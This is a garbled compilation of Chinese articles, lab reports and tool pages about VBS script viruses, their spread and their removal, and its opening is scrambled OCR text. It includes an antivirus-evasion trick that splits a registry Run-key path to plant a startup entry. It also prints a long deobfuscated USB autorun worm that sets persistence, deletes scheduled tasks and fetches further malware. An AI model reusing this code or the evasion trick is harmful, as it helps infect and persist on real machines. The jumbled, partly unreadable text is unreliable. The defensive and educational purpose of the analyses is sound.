VBS脚本病毒分析及防范
VBS脚本病毒原理分析及防范
现 自我 复 制 了 。
（） Ｓ脚本 病毒如何修 改注册表 ２ ＶＢ 注册表几乎是每种病毒 都喜 欢光顾的地 方。这是因为病毒要想在 用户重启计算机之 后仍 能够运行 ，一般都要通过修 改注册表中 的启动项 的键值 。当然， Ｓ病毒也 不例外 ， ＶＢ
机病毒疫情调查技术分析报 告”的十 大病毒 而且 Ｖ Ｓ脚本对注册表的修改十分简单。只 句之间分隔得 比较清楚 。 Ｂ 这样 ， 先将病毒功能
中 ， 居榜 首 。 高 要通过如下代码就可做到 ：
以下是 一个蠕虫病毒的修改注册表部 分
２Ｖ Ｓ病毒的特点 Ｂ
顾 名思义 Ｖ ＢＳ病毒是 用 Ｖ Ｓ语言 编写 Ｂ 的。ＶＢ Ｓ是“ ｉ ａ Ｂ ｓｃＳ ｒ ｔ的缩 写， Ｖｓ ｌ ａ ｉ ｃ ｉ ” ｕ ｐ 就 是Ｖ Ｂ语 言的脚本版 。该脚本语 言功能 非常 强大 ， 它们 利用开放性的特点 。 通过调用一 些 现成 的 Ｗｉｄ ｗｓ对 象 、 件 。 ｎｏ 组 可以直 接对 文 件系统 、 注册表等进行 控制 。 为制造病毒提供 了非常好的条件。
的 原理 ：
。 在启动项 中增加病毒项
３ＶＢ Ｓ病毒 的基本原理
（） Ｂ １ Ｖ Ｓ脚本病毒如何感染文件 Ｖ ＢＳ脚本病毒一般是直 接通 过 自我复制 来感染文件的。譬如爱虫病毒是直 接生成一 个文件的副本 ， 将病毒代码拷入 其中 ， 并以原 文件名 作为病 毒文件 名 的前缀 ，ｂ ｖ ｓ作 为后
黑客 自己写一个 网页 ．当你 浏览该 网页时会
自动下载木马 并且运 行。为了让用户浏览该 网页 ， 黑客往往会入侵一个 正常的网站 ， 然后 在该网页上加 上打开 网马地址 的 ｈｍＩ 句。 ｔ 语 这样 当有用户访 问该 网站 时会 自动打 开网马 地址从而 中木马 。下面我们来分析一 下挂 马
对一个vbs脚本病毒的病毒原理分析
对⼀个vbs脚本病毒的病毒原理分析⼀、前⾔病毒课⽼师丢给我们⼀份加密过的vbs脚本病毒的代码去尝试分析，这⾥把分析过程发出来，供⼤家参考，如果发现⽂中有什么错误或者是有啥建议，可以直接留⾔给我，谢谢！⼆、⽬录整个分析过程可以分为以下⼏个部分:0x00 准备⼯作0x01 解密部分0x02 功能分析三、分析过程0x00 准备⼯作windows xp的虚拟机(在⾃⼰的windows下也可以做)vbs的⼀些基本语法0x01 解密部分右击病毒⽂件然后编辑打开或者是直接把其后缀修改成txt直接打开都⾏，可以看到⼀⼤段密⽂，并调⽤了⼀个函数deCrypt。
暂时只看到这些，那么接着往下看吧。
拖到代码底部，发现有deCrypt了⼀次，也就是经过了两次加密，这⾥把执⾏部分注释掉，然后将解密的结果输出到⽂本⽂件中去。
另外，可以看到是⽤base64进⾏的加密的。
现在来看看解码后的结果。
发现依旧是不可阅读的代码，那就继续看看他是怎么处理的吧。
这⾥可以看到是将之前的字符串按“|dz|”划分，然后得到的是ascii码，将这些ascii码对应的字符拼接起来就好了，就得到了结果。
同样的套路将解密结果输出到⽂件中去再继续分析。
然后这次得到的结果是真正的病毒代码了。
接下来对他的功能进⾏分析。
0x02 功能分析从头开始看吧。
显⽰⼀些配置信息，包括了服务器的域名。
可以查到服务器是美国的，尝试ping了下，ping不通，可能是服务器作了设置不让⼈ping、也可能是服务器已经不⽤了、也有可能是我国的防⽕长城直接墙掉了。
然后是⼀些之后要⽤到的变量，这⾥不作过多的解释。
之后就是code start的部分了。
然后由于⾥⾯调⽤了各种函数，所以这⾥按执⾏的顺序给调⽤的函数编号，以便阅读，不然会感觉很凌乱的。
这⾥先是调⽤了instance函数。
1.instance函数给之前的⼀个参数usbspreading赋值，并对注册表进⾏写操作在执⾏完了instance函数后，会进⼊⼀个while true的死循环，不断从服务器读取命令，然后执⾏。
实验六_网络攻击与防范
《网络攻击与防范》实验报告（２）单击“下一步”按钮·进人如图 4-2 所示的“禁止功能选项”设定界面.根据需要进行设定。
例如。
如果选中“禁止右键菜单”复选框.当运行了该病毒后.右击时将无法弹出快捷菜单。
图 4-2 设置“禁止功能选项”（３）单击“下一步”按钮.进入如图 4-3 所示的“病毒提示对话框”设定界面时。
根据需要设置有关开机时病毒的执行情况。
当选中“设置开机提示对话框”复选框.并设置了提示框标题和内容等后，相关信息将以对话框方式在开机时自动显示图4-3 设置开机时病毒的执行情况（４）单击“下一步”按钮，进入如图 4-4 所示的“病毒传播选项”设定界面,根据需要进行设定。
当选中“通过电子邮件进行自动传播(蠕虫)”复选框时.病毒可以向指定数量的用户发送垃圾邮件。
图4-3 设置开机时病毒的执行情况下一步夏上一步图4-4“病毒传播选项”设定界面（５）单击“下一步”按钮，进入“IE 修改选项”设定界面,根据需要进行设定。
注意.当选中“设置默认主页”复选框后，会弹出“设置主页”对话框,需要读者输人要修改的IE 浏览器主页地址(即每次打开IE 浏览器时默认打开的主页地址).如图 4-5 所示图4-5设置IE浏览器修改选项（6）单击“下一步”按钮，在出现的如图 4-6 所示的对话框中选择所生成的脚本病毒存放的位置,单击“开始制造”按钮,生成病毒文件。
图4-6选择所生成的脚本病毒存放的位置此时,可看到相应路径下,已经生成了脚本病毒文件3.2感染病毒并观察感染后的系统变化情况（１）将生成的脚本病毒文件置于虚拟机中,在其上双击使之运行。
为保证完整准确地查看病毒的感染效果.可重启已经感染了病毒的虚拟机系统。
然后，根据病毒文件生成时的设置，观察系统感染了病毒后的表现情况。
主要操作步骤如下。
（２）观察系统文件夹下的异常变化，可以发现，在 C:\ Windows,C:\Windows\system32下多了不明来源的脚本文件。
浅谈VBS脚本病毒入侵计算机的途径与防治
浅谈VBS脚本病毒入侵计算机的途径与防治作者：范秋生来源：《硅谷》2009年第21期[摘要]计算机病毒给世界范围内的计算机系统带了不可估量的危害,给人们留下了深刻的印象。
网络脚本病毒是计算机病毒的一种新形式,主要采用脚本语言编写,书写形式灵活,容易产生变种,它可以对系统进行操作,包括创建、修改、删除,甚至格式化硬盘,传播速度快,危害性大。
介绍VBS病毒的特点及发展现状,分析VBS病毒的原理、传播方式,并提出VBS病毒的防治策略。
[关键词]VBS病毒入侵方式病毒防治中图分类号:TP3文献标识码:A文章编号:1671-7597(2009)1110097-01一、VBS脚本病毒原理分析(一)VBS脚本病毒如何躲过杀毒软件现在杀毒的对vbs相当敏感,只要发现对注册表的xx作,或使用vbs运行命令(加用户)就可能被杀。
下面谈两种方法可以简单解决:1.使用连接符"&",如:Set CURObj = CreateObject("WScript.Shell")mhk="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\Run\"CURObj.RegWrite ""&mhk&"internat.exe","internat.exe"2.使用Execute函数(BY动鲨)一些杀毒软件,如瑞星,它们会监视网页中的代码,一旦你创建了FSO或写注册表,即使是正常的脚本他也会报告危险,但是当年新欢乐时光也用了FSO怎么就没报警呢?原因是这个病毒使用Execute这个函数来躲过了防火墙,呵呵。
彻底清楚U盘vbs
彻底清楚U盘vbs
VBS病毒，英文名：Visual Basic Script，该病毒程序虽然编写简单，但破坏力大，可通过感染htm、asp、jsp、php等网页文件而传播，该病毒一般都是通过不断的自我复制来感染文件，病毒中的部分代码甚至会直接附加在其他同类程序之中，中毒后的电脑会在各个盘符下生成.vbs、autorun.exe等文件。
影响电脑的运行速度，用户会觉得电脑越来越卡。
下面我们教大家认识VBS病毒，及正确使用U盘杀毒专家查杀VBS病毒。
第一步：认识VBS病毒
电脑中中了VBS病毒，会出现如下所示的.vbs文件，
注：文件名一般不定，有时会是：pagefileconfig.vbs或prndrvr.vbsprnjobs.vbs等，主要表现形式是，以.vbs 格式存在。
该病毒自我复制速度快，如果不即时清除，会在你的电脑中不断出现该文件的复制版。
第二步：安装U盘杀毒专家（USBKiller），查杀VBS病毒
如果你的电脑中没有安装U盘杀毒专家，可以点此下载，安装后，打开主界面，点击“开始扫描”：
扫描结束后，会出现病毒的名称，路径以及相应的处理结果。
应用U盘杀毒专家查杀VBS病毒，方便快捷，不用担心会删除后下次还会出现此类vbs病毒，另外，U 盘杀毒专家具有修复U盘的功能，在查杀U盘病毒的同时，修复您的U盘系统，并免疫您的U盘，更多有关U盘杀毒专家的介绍，请点击以下网址查阅：
/。
VBS脚本病毒
2，不得不防的地方:局域网。经常有朋友在论坛发贴问“为什么我公司的机器中了‘新欢乐时光’，用专杀工具杀完后又重新感染，后来才发现杀毒时没有断开局域网连接，也没有关闭可写的共享，导致从局域网的其他机子上又很快重新感染。除非在必要的情况下，开可写的共享是一件非常危险的事情。VBS脚本病毒在局域网内的传播速度出奇的快，只要它感染了一台机子，不管被感染的是不是服务器，只要其他任何一台机子上开了可写的共享，它就可以以最快的速度对其进行感染。Windows2000开的共享默认就是可写的，一定要改为“只读”。
4，VBS脚本病毒通过电子邮件传播需要OE(OutLook Express，Windows自带的邮件服务程序)的支持。
针对VBS脚本病毒以上的特点，我们就可以对症下药地做好一些防范措施，把VBS脚本病毒的危害程度降到最低:
1，不可缺少的东西:杀毒软件。在病毒横行的网络上，一台没有杀毒软件的机子是不可思议的。即使有时候它的表现也不尽如人意(误报、漏报、杀毒不彻底等)，但它至少给你提供了一个相对受保护的空间。需要说明的一点是，一款再出色的杀毒软件，如果不及时升级的话，也一样形同虚设，面对VBS脚本病毒的“铁蹄”，它也逃不掉遭受“践踏”的命运。另外，病毒防火墙应该随机自启动。
这里告诉大家一个绝招，各种Windows系统适用:
分别删除VBS脚本在Windows环境和DOS环境的的支持程序:Wscript.exe和Cscript.exe，都在2目录下，这样就彻底禁止了所有VBS脚本的运行，无论是有毒的还是没毒的——通常没人会用到VBS脚本的，放心删吧。
vbs病毒分析
病毒名称：.vbsMD5: 64ea1c0e8f653984f0fde25b77f8494f此病毒是VBS脚本病毒，多重加密，通过U盘进行传播感染，设置注册表自启动，每过一段时间运行，通过设置特定条件，进行其他恶意行为。
网上卸载其他恶意程序并执行。
破坏系统隐藏属性。
整理一下主主体代码：j="\":til="SY" ‘autorun.inf中的节名:btj=900:vs=".vbs":ve=".vbe":cm="%comspec% /c " ‘cmd:dfo="/u#t/":inf="\autorun.inf" ‘自启动文件set ws=createobject("wscript.shell"):set fso=createobject("scripting.filesystemobject")set wmi=getobject("winmgmts:\\.\root\cimv2"):set sis=wmi.execquery("select * from win32_operatingsystem")set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schedule'")for each atc in ats:cat=atc.state:next:if cat="Stopped" then ws.run "net start ""task scheduler""",0,falseouw=wscript.scriptfullname: 'scriptfullnamewin=fso.getspecialfolder(0)&j: 'C:\WINDOWSdir=fso.getspecialfolder(1)&j 'C:\WINDOWS\system32tmp=fso.getspecialfolder(2)&j: 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len(wscript.scriptname))cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr:cna=rr(cnp,0):if cna="" then cna=tilwsc="wscript.exe"csc="cscript.exe"css=csc&" //nologo "wsr=rn&":createobject(""wscript.shell"").run"c=vbcrlf'-----------------inc------------------------'SY'[autorun]'open=wscript.exe .\.vbs'shell\open\command=wscript.exe .\.vbs'shell\open\default=1inc=til&c&"[autorun]"&c&"open="&wsc&" .\"&vs&c&"shell\open\command="&wsc&" .\"&vs &c&"shell\open\default=1"'-----------------inc------------------------sf="shell folders\":rop="\software\microsoft\windows\currentversion\explorer\":dap=rr("HKCU"&rop&sf&"desktop",0)&j 'C:\Documents and Settings\Administrator\桌面\rpa="HKLM\software\"&cna&j: 'HKLM\software\QUBY-9B3768E839\fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs: 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\.vbsfap=rr("HKCU"&rop&sf&"favorites",0)&j 'C:\Documents and Settings\Administrator\Favorites\ht=ec("ivwt?56"): 'http"\\ha=ec(":;9:7>5kw9"): '/hb=hl&"1;<<=6x"&hl&"r;" '|1;<<=6x|r;hc="0dwuEpE": '0dwuEpEhd=ec("$"+hc): '#.asp?i=he=ec("c"+hc) 'b.asp?i=rsp="HKLM\software\microsoft\windows\currentversion\"rsb=rsp&"run\":rsp=rsp&"policies\explorer\run\"&cnahip="HKCU"&rop&"advanced\showsuperhidden"sz=lcase(fso.getfilename(wscript.fullname))if mir=dir then sys=truefor each si in sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:nextif instr(wv,"5.2")<>0 then hb="w"+hb:lb="v" else if os<>2052 and cc<>86 then hb="p"+hb:lb="o" else hb="d"+hb:lb="c"for each d in dcif mir=d&j then ws.run "explorer "&d,3,false:bir=truenext'判断文件路径是否在磁盘根目录或"C:\WINDOWS\system32\wbem\"或"C:\WINDOWS"下'如果不是就退出if bir or sys or mir=win or mir=wbe then tir=true else wscript.quitouc=rt(ouw,-1): '读取本身代码ver=gv(ouw): ‘版本验证‘如果版本验证失败,则弹出“See You”消息框,执行km函数，参数为1‘验证成功执行km函数,参数为0,km是主要感染函数if ver="" or not isnumeric(ver) then msgbox("See You!"):km 1 else km 0if sys thenif sz=wsc then pr csc,-1if pr(csc,2)=1 then wscript.quitwscript.sleep 2000if pr(csc,1)=0 then ws.run css&dir&ve,0,false:if pr(csc,1)=1 then wscript.quitif rr("til",1)<>til then wr "til",til:wr "tjs",btj:wr "djs",date-1:wr "ded",0djs=rr("djs",1):if isdate(djs) and date-cdate(djs)>50 and lb<>"o" then wr "osw",4‘如果读取atd项注册表为1,那么删除所有计划任务if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0‘如果在temp文件夹存在le文件，那么执行le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&lecu:er 10elsewscript.sleep 5000if pr(wsc,2)=2 then:if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",dateif pr(csc,1)<>1 or pr(wsc,1)=0 then bf dir&ve,ouc,7:ws.run css&dir&ve,0,falseend if3.下面主要病毒思路，其他细节请看各个函数吧>_<(1)'判断文件路径是否在磁盘根目录或"C:\WINDOWS\system32\wbem\"或"C:\WINDOWS"下'如果不是就退出if bir or sys or mir=win or mir=wbe then tir=true else wscript.quitouc=rt(ouw,-1): '读取本身代码ver=gv(ouw): ‘进行验证(2)‘如果上面验证错误，那么回弹出“See You”,之后执行Km函数，参数为1,否则参数为0‘这里是anti，也是为了防止编译成exe文件。
实验4 VB脚本病毒
XI`AN TECHNOLOGICAL UNIVERSITY实验报告实验课程名称VB脚本病毒专业：信息对抗技术班级： 130609*名：***学号： *********实验学时： 12学时指导教师：***成绩：2016 年 4 月 5 日实验目的1.了解VB脚本病毒的工作原理2.了解VB脚本病毒常见的感染目标和感染方式3.掌握编写VB脚本病毒专杀工具的一般方法实验原理一．脚本病毒概述脚本程序的执行环境需要WSH（WINDOWS SCRIPT HOST，WINDOWS脚本宿主）环境，WSH为宿主脚本创建环境。
即当脚本到达计算机时，WSH充当主机的部分，它使对象和服务可用于脚本，并提供一系列脚本执行指南。
脚本病毒的主要特点：（1）由于脚本是直接解释执行，可以直接通过自我复制的方式感染其它同类文件，并且使异常处理变得非常容易。
（2）脚本病毒通过HTML文档、EMAIL附件或其它方式，可以在很短的时间内传遍世界各地，通常是使用在邮件附件中安置病毒本体的方法，然后利用人们的好奇心，通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。
（3）新型的邮件病毒邮件正文即为病毒，用户接收到带毒邮件后，即使不将邮件打开，只要将鼠标指向邮件，通过预览功能病毒也会被自动激活。
（4）病毒源码容易被获取，变种多。
（5）欺骗性强。
二．爱虫病毒分析1．病毒简介“爱虫”（VBS.LOVELETTER）病毒从2000年5月4日开始在欧洲大陆迅速传播，并向全世界蔓延。
其传播原理是通过MICROSOFT OUTLOOK将名为“LOVE-LETTER-FOR-YOU.TXT.VBS”的邮件发送给用户地址薄里所有的地址。
当病毒运行后会在系统中留下以下文件：（1）\WINDOWS\WIN32DLL.VBS；（2）\SYSTEM\MSKERNEL.VBS；（3）\SYSTEM\LOVE-LETTER_FOR_YOU.TXT.VBS。
2．病毒的杀毒步骤（1）在WINDOWS下查看进程列表中是否有WSCRIPT这个文件，如有此文件说明已经感染。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
VBS脚本病毒分析及防范
摘要:VBScript脚本病毒利用Internet的开放性和各种软件的漏洞对计算机系统进行攻击,常常造成世界范围内的大面积网络瘫痪。
VBS脚本病毒呈现出一些新的特点:通过各种网络方式进行传播,传播范围广,破坏性强。
关键词:VBS 脚本病毒防范
一、VBS病毒产生
随着计算机技术的发展.计算机病毒技术亦日益提高。
从dos系统到windows 系统.从底层的汇编语言到高层的面向对象语言,无不留其发展的痕迹。
尤其是网络的广泛应用。
以网络为媒介的病毒技术迅速的发展起来。
1998年11月.当一种染毒的VBS文件利用Web页在网络上进行传播的时候,一种全新病毒的概念就诞生了。
病毒的制造者们针对微软的窗口操作系统和办公软件。
通过E-mail将病毒传播到远程主机上。
这种利用VBS脚本语言编写的病毒称之为VBS病毒,VBS 病毒有很多种,较著名的是爱虫病毒和新欢乐时光病毒。
二、VBS病毒的机理
顾名思义,VBS病毒是用VBS cirpt编写而成,该脚本语言功能非常强大。
它们利用Windows系统的开放性特点。
通过调用一些现成的Windows对象、组件。
可以直接对文件系统、注册表等进行控制。
功能非常强大。
两个最典型的windows 对象就是WSH和FSO。
WSH全称“WindowscSripitngHost”。
其通用的中文译名为“Windows脚本宿主”。
它是内嵌于windows系统中的脚本语言执行环境。
此概念在iwndows98系统中提出。
类似于DOS下的批处理命令。
它架构在ActiveX 之上。
充当ActiveX的脚本引擎控制器,为各种脚本语言指令的执行提供了一个公共的基础。
任何以js、vbs为后缀名的文件都可以在windows下通过词用Wscript.exe获得执行。
FSO全称文件系统对象(FILE SYSTEM OBJECT),该对象模型通过object.method语法,将对文件及文件夹操作通过词用对象本身的属性直接实现。
FSO对象模型不仅可以象传统文件操作语句那样实现文件的创建、改变、移动和删除。
而且可以检测是否存在指定的文件夹。
若存在。
可以对它进行定位,并获取有关文件和文件夹的信息。
这些以往只能通过调用WindowsAPI函数才能实现的功能为给网络上病毒的入侵提供了一个切入点。
三、传播方式代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能。
VBS脚本病毒主要采用如下四种方式进行传播:通过电子邮件附件传播、通过局域网共享传播、通过感染网页文件传播、通过IRC聊天通道传播等。
下面结合具体代6f5对其传播方式逐一进行分析。
1.通过电子邮件附件传播。
大部分VBS脚本病毒都可以通过电子邮件附件
传播,这是一种非常普遍的传播方式。
VBS脚本病毒可以通过各种方法取得合法的邮件地址,最常见的就是利用MAPI接口亢接获取Outlook地址簿中的邮件地址,也可以通过稃序任用户文档(如htm文件)中搜索邮件地址。
下面这段代码足VBS 脚本病毒通过邮件附件传播的完整代码,为许多病毒所通用。
2.通过局域网共享传播。
局域网共享传播也是一种非常普遍而有效的传播方式。
般来说,为了局域网内交流方便,‘定存在不少共享目录,并且具有可写权限(在Win2000环境巾创建共享文件夹时,默认状态就足具有可写权限)。
VBS脚本病毒通过调用WSH的内置对象work,即可实现对局域网内共享资源的访问,进而感染共享文件。
3. 通过感染网页文件传播。
如今,WWW服务巳经非常普遍,病毒通过感染htm/html、asp、jsp、php等网页文件,势必会导致所有访问该网页的计算机感染病毒。
VBS脚本病毒采用与网页恶意代码相同的原理,一般先要对COM对象进行初始化,在获取相应的组件对象之后,病毒就可以调用这些对象的强大功能。
初始化COM对象是VBS脚本病毒能感染网页文件的关键。
4. 通过IRC聊天通道传播。
VBS脚本病毒通过调用FileSysteI110bject对象的方法术修改IRC客户端软件InIRC或PIRCH安装路径巾的script.ini文件(该文件存放着控制IRC会话的命令,可以机动执行),使得当染毒用户连接到IRC通道的同时同一通道中的其它用户发送病毒。
四、VBS病毒的防治策略
1.安装正版的杀毒软件。
在病毒肆虐的网络上,一台没有安装杀毒软件的机器是不可思议的。
虽然有时也不尽人意(误报、漏报等,但它至少提供了一个相对受保护的空间。
但是,再优秀的杀毒软件。
如果不及时升级的话,也一样形同虚设;另外,病毒防火墙应该随机自动启动。
2.注意标本兼治。
(1)卸载Windows ScripitngHost。
卸载VBS病毒生存的载体,VBScirpt代码是用系统自带的脚本执行工具WSH解释并执行的,但对于大部分用户而言,并没有多大用处,所以,我们可通过禁止WSH,不让VBS病毒代码有执行的机会,从而达到防范的目的。
(2)删除VBS文件关联程序。
打开“我的电脑”,在菜单中点击“查看”“文件夹选项”,在弹出的对话框中点击“文件类型”。
找到“VBS”、“VBE”、“JS”、“JSE”等文件后缀名映射,点击“删除”。
另外,还需要从系统中清除掉Wscript-exe文件。
路径为“C:\WINNT\System32\Wscript.exe”,使得VBS病毒在执行时找不到其用来支持的关联程序。
(3)改变VBScirpt执行方式。
打开浏览器。
在菜单中点击”查看”“文件夹选项”,选择“文件类型”选项卡,在“已注册的文件类型” 中,找到“VBcSirptcSirptFile”,点击“编辑”按钮,弹出“编辑文件类型”的选项卡,在“操作”中选择“打开”,再点“编辑”,在弹出的“用于执行操作的应用程序”对话框中输入“C:\WINDOWS\system32\notepad.Exe”,“确定”后,就可将“VBS”类型的文件改为用“记事本”打开。
(4)止病毒发作后传播。
当VBS病毒发作时,能够自我复制.其基本原理是利用程序将本身的脚本内容复制到一个临时文件中.按照记录的邮件地址利用电子邮件工具将其作为附件自动发送出去。
此传
播过程的实现离不开“File System Object”对象,因此禁止了“File Sytem Object”就能有效地阻止VBS病毒的传播。
具体方法:在“开始”“运行”对话框中,输入“regsvr32 scrrun.dll/u”后并回车。
(5)禁用AcxtiveX控件. 在浏览网页时,很多时候需要用到AcxtiveX控件。
这也给蠕虫病毒提供了可乘之机。
所以建议禁用AcxtiveX控件。
以防万一。
打开浏览器,单击菜单栏里的”Intemet选项”,选择“安全”选项卡里的”自定义级别”按钮。
把“AcxtiveX控件及插件”的所有项目设为”禁用”,这样可以预防大部分的恶意网页的攻击。
3.养成良好的使用电脑习惯首先,让系统显示文件的扩展名。
防止病毒欺骗电脑使用者。
方法:在资源管理器中,执行“工具”“一”文件夹选项“一”查看”,去掉“隐藏已知文件类型的扩展名”前的对号。
其次,在收邮件时注意附件,可以先下载到本地,用杀毒软件先查杀一遍,然后再执行附件。
参考文献:
[1]杜宏毅、郑玄宜.完全接触ASP之VB—Script.电子工业出版社,2002
[2]许卫林、宋先斌、党齐民.VBScript+ASP动态网页设计制作中国电力出版社,2002。